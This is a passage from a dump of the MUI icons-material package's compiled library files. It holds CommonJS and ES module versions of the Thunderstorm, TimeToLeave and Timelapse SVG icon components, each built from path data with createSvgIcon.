    "path": "packages/mui-icons-material/lib/ThunderstormRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.92 7.02C17.45 4.18 14.97 2 12 2 9.82 2 7.83 3.18 6.78 5.06 4.09 5.41 2 7.74 2 10.5 2 13.53 4.47 16 7.5 16h10c2.48 0 4.5-2.02 4.5-4.5 0-2.34-1.79-4.27-4.08-4.48m-1.97 13.09-.84-.42.9-1.03c.36-.42.32-1.05-.09-1.41-.42-.36-1.05-.32-1.41.09l-1.75 2c-.2.23-.29.55-.23.85s.26.56.53.7l.84.42-.9 1.03c-.36.42-.32 1.05.09 1.41.19.17.42.25.66.25.28 0 .55-.12.75-.34l1.75-2c.2-.23.29-.55.23-.85-.06-.31-.26-.57-.53-.7m-6 0-.85-.43.9-1.03c.36-.42.32-1.05-.09-1.41-.42-.36-1.05-.32-1.41.09l-1.75 2c-.2.23-.29.55-.23.85s.26.56.53.7l.84.42L7 22.34c-.36.42-.32 1.05.09 1.41.19.17.43.25.66.25.28 0 .55-.12.75-.34l1.75-2c.2-.23.29-.55.23-.85-.06-.31-.26-.57-.53-.7\"\n}), 'ThunderstormRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThunderstormRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.92 7.02C17.45 4.18 14.97 2 12 2 9.82 2 7.83 3.18 6.78 5.06 4.09 5.41 2 7.74 2 10.5 2 13.53 4.47 16 7.5 16h10c2.48 0 4.5-2.02 4.5-4.5 0-2.34-1.79-4.27-4.08-4.48m-1.97 13.09-.84-.42.9-1.03c.36-.42.32-1.05-.09-1.41-.42-.36-1.05-.32-1.41.09l-1.75 2c-.2.23-.29.55-.23.85s.26.56.53.7l.84.42-.9 1.03c-.36.42-.32 1.05.09 1.41.19.17.42.25.66.25.28 0 .55-.12.75-.34l1.75-2c.2-.23.29-.55.23-.85-.06-.31-.26-.57-.53-.7m-6 0-.85-.43.9-1.03c.36-.42.32-1.05-.09-1.41-.42-.36-1.05-.32-1.41.09l-1.75 2c-.2.23-.29.55-.23.85s.26.56.53.7l.84.42L7 22.34c-.36.42-.32 1.05.09 1.41.19.17.43.25.66.25.28 0 .55-.12.75-.34l1.75-2c.2-.23.29-.55.23-.85-.06-.31-.26-.57-.53-.7\"\n}), 'ThunderstormRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThunderstormSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.92 7.02C17.45 4.18 14.97 2 12 2 9.82 2 7.83 3.18 6.78 5.06 4.09 5.41 2 7.74 2 10.5 2 13.53 4.47 16 7.5 16h10c2.48 0 4.5-2.02 4.5-4.5 0-2.34-1.79-4.27-4.08-4.48M14.8 17l-2.9 3.32 2 1L11.55 24h2.65l2.9-3.32-2-1L17.45 17zm-6 0-2.9 3.32 2 1L5.55 24H8.2l2.9-3.32-2-1L11.45 17z\"\n}), 'ThunderstormSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThunderstormSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.92 7.02C17.45 4.18 14.97 2 12 2 9.82 2 7.83 3.18 6.78 5.06 4.09 5.41 2 7.74 2 10.5 2 13.53 4.47 16 7.5 16h10c2.48 0 4.5-2.02 4.5-4.5 0-2.34-1.79-4.27-4.08-4.48M14.8 17l-2.9 3.32 2 1L11.55 24h2.65l2.9-3.32-2-1L17.45 17zm-6 0-2.9 3.32 2 1L5.55 24H8.2l2.9-3.32-2-1L11.45 17z\"\n}), 'ThunderstormSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThunderstormTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.73 9.01-1.53-.14-.25-1.52C15.63 5.44 13.94 4 12 4c-1.44 0-2.77.78-3.48 2.04l-.49.87-.99.13C5.31 7.27 4 8.76 4 10.5 4 12.43 5.57 14 7.5 14h10c1.38 0 2.5-1.12 2.5-2.5 0-1.28-.99-2.37-2.27-2.49\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.92 7.02C17.45 4.18 14.97 2 12 2 9.82 2 7.83 3.18 6.78 5.06 4.09 5.41 2 7.74 2 10.5 2 13.53 4.47 16 7.5 16h10c2.48 0 4.5-2.02 4.5-4.5 0-2.34-1.79-4.27-4.08-4.48M17.5 14h-10C5.57 14 4 12.43 4 10.5c0-1.74 1.31-3.23 3.04-3.46l.99-.13.49-.87C9.23 4.78 10.56 4 12 4c1.94 0 3.63 1.44 3.95 3.35l.25 1.52 1.54.14c1.27.12 2.26 1.21 2.26 2.49 0 1.38-1.12 2.5-2.5 2.5m-2.7 3-2.9 3.32 2 1L11.55 24h2.65l2.9-3.32-2-1L17.45 17zm-6 0-2.9 3.32 2 1L5.55 24H8.2l2.9-3.32-2-1L11.45 17z\"\n}, \"1\")], 'ThunderstormTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThunderstormTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.73 9.01-1.53-.14-.25-1.52C15.63 5.44 13.94 4 12 4c-1.44 0-2.77.78-3.48 2.04l-.49.87-.99.13C5.31 7.27 4 8.76 4 10.5 4 12.43 5.57 14 7.5 14h10c1.38 0 2.5-1.12 2.5-2.5 0-1.28-.99-2.37-2.27-2.49\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.92 7.02C17.45 4.18 14.97 2 12 2 9.82 2 7.83 3.18 6.78 5.06 4.09 5.41 2 7.74 2 10.5 2 13.53 4.47 16 7.5 16h10c2.48 0 4.5-2.02 4.5-4.5 0-2.34-1.79-4.27-4.08-4.48M17.5 14h-10C5.57 14 4 12.43 4 10.5c0-1.74 1.31-3.23 3.04-3.46l.99-.13.49-.87C9.23 4.78 10.56 4 12 4c1.94 0 3.63 1.44 3.95 3.35l.25 1.52 1.54.14c1.27.12 2.26 1.21 2.26 2.49 0 1.38-1.12 2.5-2.5 2.5m-2.7 3-2.9 3.32 2 1L11.55 24h2.65l2.9-3.32-2-1L17.45 17zm-6 0-2.9 3.32 2 1L5.55 24H8.2l2.9-3.32-2-1L11.45 17z\"\n}, \"1\")], 'ThunderstormTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimeToLeave.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 5.01C18.72 4.42 18.16 4 17.5 4h-11c-.66 0-1.21.42-1.42 1.01L3 11v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.5 15c-.83 0-1.5-.67-1.5-1.5S5.67 12 6.5 12s1.5.67 1.5 1.5S7.33 15 6.5 15m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 10l1.5-4.5h11L19 10z\"\n}), 'TimeToLeave');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimeToLeave.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 5.01C18.72 4.42 18.16 4 17.5 4h-11c-.66 0-1.21.42-1.42 1.01L3 11v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.5 15c-.83 0-1.5-.67-1.5-1.5S5.67 12 6.5 12s1.5.67 1.5 1.5S7.33 15 6.5 15m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 10l1.5-4.5h11L19 10z\"\n}), 'TimeToLeave');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimeToLeaveOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 5.01C18.72 4.42 18.16 4 17.5 4h-11c-.66 0-1.21.42-1.42 1.01L3 11v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 6h10.29l1.04 3H5.81zM19 16H5v-4.66l.12-.34h13.77l.11.34z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7.5\",\n  cy: \"13.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.5\",\n  cy: \"13.5\",\n  r: \"1.5\"\n}, \"2\")], 'TimeToLeaveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimeToLeaveOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 5.01C18.72 4.42 18.16 4 17.5 4h-11c-.66 0-1.21.42-1.42 1.01L3 11v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 6h10.29l1.04 3H5.81zM19 16H5v-4.66l.12-.34h13.77l.11.34z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7.5\",\n  cy: \"13.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.5\",\n  cy: \"13.5\",\n  r: \"1.5\"\n}, \"2\")], 'TimeToLeaveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimeToLeaveRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 5.01C18.72 4.42 18.16 4 17.5 4h-11c-.66 0-1.21.42-1.42 1.01l-1.97 5.67c-.07.21-.11.43-.11.66v7.16c0 .83.67 1.5 1.5 1.5S6 19.33 6 18.5V18h12v.5c0 .82.67 1.5 1.5 1.5.82 0 1.5-.67 1.5-1.5v-7.16c0-.22-.04-.45-.11-.66zM6.5 15c-.83 0-1.5-.67-1.5-1.5S5.67 12 6.5 12s1.5.67 1.5 1.5S7.33 15 6.5 15m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 10l1.27-3.82c.14-.4.52-.68.95-.68h9.56c.43 0 .81.28.95.68L19 10z\"\n}), 'TimeToLeaveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimeToLeaveRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 5.01C18.72 4.42 18.16 4 17.5 4h-11c-.66 0-1.21.42-1.42 1.01l-1.97 5.67c-.07.21-.11.43-.11.66v7.16c0 .83.67 1.5 1.5 1.5S6 19.33 6 18.5V18h12v.5c0 .82.67 1.5 1.5 1.5.82 0 1.5-.67 1.5-1.5v-7.16c0-.22-.04-.45-.11-.66zM6.5 15c-.83 0-1.5-.67-1.5-1.5S5.67 12 6.5 12s1.5.67 1.5 1.5S7.33 15 6.5 15m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 10l1.27-3.82c.14-.4.52-.68.95-.68h9.56c.43 0 .81.28.95.68L19 10z\"\n}), 'TimeToLeaveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimeToLeaveSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.57 4H5.43L3 11v9h3v-2h12v2h3v-9zM6.5 15c-.83 0-1.5-.67-1.5-1.5S5.67 12 6.5 12s1.5.67 1.5 1.5S7.33 15 6.5 15m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 10l1.5-4.5h11L19 10z\"\n}), 'TimeToLeaveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimeToLeaveSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.57 4H5.43L3 11v9h3v-2h12v2h3v-9zM6.5 15c-.83 0-1.5-.67-1.5-1.5S5.67 12 6.5 12s1.5.67 1.5 1.5S7.33 15 6.5 15m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 10l1.5-4.5h11L19 10z\"\n}), 'TimeToLeaveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimeToLeaveTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5.12 11-.12.34V16h14v-4.66l-.12-.34zm2.38 4c-.83 0-1.5-.67-1.5-1.5S6.67 12 7.5 12s1.5.67 1.5 1.5S8.33 15 7.5 15m9 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 5.01C18.72 4.42 18.16 4 17.5 4h-11c-.66 0-1.21.42-1.42 1.01L3 11v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 6h10.29l1.04 3H5.81zM19 16H5v-4.66l.12-.34h13.77l.11.34z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7.5\",\n  cy: \"13.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.5\",\n  cy: \"13.5\",\n  r: \"1.5\"\n}, \"3\")], 'TimeToLeaveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimeToLeaveTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m5.12 11-.12.34V16h14v-4.66l-.12-.34zm2.38 4c-.83 0-1.5-.67-1.5-1.5S6.67 12 7.5 12s1.5.67 1.5 1.5S8.33 15 7.5 15m9 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 5.01C18.72 4.42 18.16 4 17.5 4h-11c-.66 0-1.21.42-1.42 1.01L3 11v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 6h10.29l1.04 3H5.81zM19 16H5v-4.66l.12-.34h13.77l.11.34z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7.5\",\n  cy: \"13.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.5\",\n  cy: \"13.5\",\n  r: \"1.5\"\n}, \"3\")], 'TimeToLeaveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timelapse.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.24 7.76C15.07 6.59 13.54 6 12 6v6l-4.24 4.24c2.34 2.34 6.14 2.34 8.49 0 2.34-2.34 2.34-6.14-.01-8.48M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}), 'Timelapse');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timelapse.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.24 7.76C15.07 6.59 13.54 6 12 6v6l-4.24 4.24c2.34 2.34 6.14 2.34 8.49 0 2.34-2.34 2.34-6.14-.01-8.48M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}), 'Timelapse');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimelapseOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.24 7.75c-1.17-1.17-2.7-1.76-4.24-1.76v6l-4.24 4.24c2.34 2.34 6.14 2.34 8.49 0 2.34-2.34 2.34-6.14-.01-8.48M12 1.99c-5.52 0-10 4.48-10 10s4.48 10 10 10 10-4.48 10-10-4.48-10-10-10m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}), 'TimelapseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimelapseOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.24 7.75c-1.17-1.17-2.7-1.76-4.24-1.76v6l-4.24 4.24c2.34 2.34 6.14 2.34 8.49 0 2.34-2.34 2.34-6.14-.01-8.48M12 1.99c-5.52 0-10 4.48-10 10s4.48 10 10 10 10-4.48 10-10-4.48-10-10-10m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}), 'TimelapseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimelapseRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.24 7.76C15.07 6.59 13.54 6 12 6v6l-4.24 4.24c2.34 2.34 6.14 2.34 8.49 0 2.34-2.34 2.34-6.14-.01-8.48M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}), 'TimelapseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimelapseRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.24 7.76C15.07 6.59 13.54 6 12 6v6l-4.24 4.24c2.34 2.34 6.14 2.34 8.49 0 2.34-2.34 2.34-6.14-.01-8.48M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}), 'TimelapseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimelapseSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.24 7.76C15.07 6.59 13.54 6 12 6v6l-4.24 4.24c2.34 2.34 6.14 2.34 8.49 0 2.34-2.34 2.34-6.14-.01-8.48M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}), 'TimelapseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimelapseSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.24 7.76C15.07 6.59 13.54 6 12 6v6l-4.24 4.24c2.34 2.34 6.14 2.34 8.49 0 2.34-2.34 2.34-6.14-.01-8.48M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}), 'TimelapseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimelapseTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3.99c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m4.25 12.24c-2.35 2.34-6.15 2.34-8.49 0L12 11.99v-6c1.54 0 3.07.59 4.24 1.76 2.35 2.34 2.35 6.14.01 8.48\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.24 7.75c-1.17-1.17-2.7-1.76-4.24-1.76v6l-4.24 4.24c2.34 2.34 6.14 2.34 8.49 0 2.34-2.34 2.34-6.14-.01-8.48M12 1.99c-5.52 0-10 4.48-10 10s4.48 10 10 10 10-4.48 10-10-4.48-10-10-10m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"1\")], 'TimelapseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimelapseTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3.99c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m4.25 12.24c-2.35 2.34-6.15 2.34-8.49 0L12 11.99v-6c1.54 0 3.07.59 4.24 1.76 2.35 2.34 2.35 6.14.01 8.48\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.24 7.75c-1.17-1.17-2.7-1.76-4.24-1.76v6l-4.24 4.24c2.34 2.34 6.14 2.34 8.49 0 2.34-2.34 2.34-6.14-.01-8.48M12 1.99c-5.52 0-10 4.48-10 10s4.48 10 10 10 10-4.48 10-10-4.48-10-10-10m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"1\")], 'TimelapseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timeline.js",
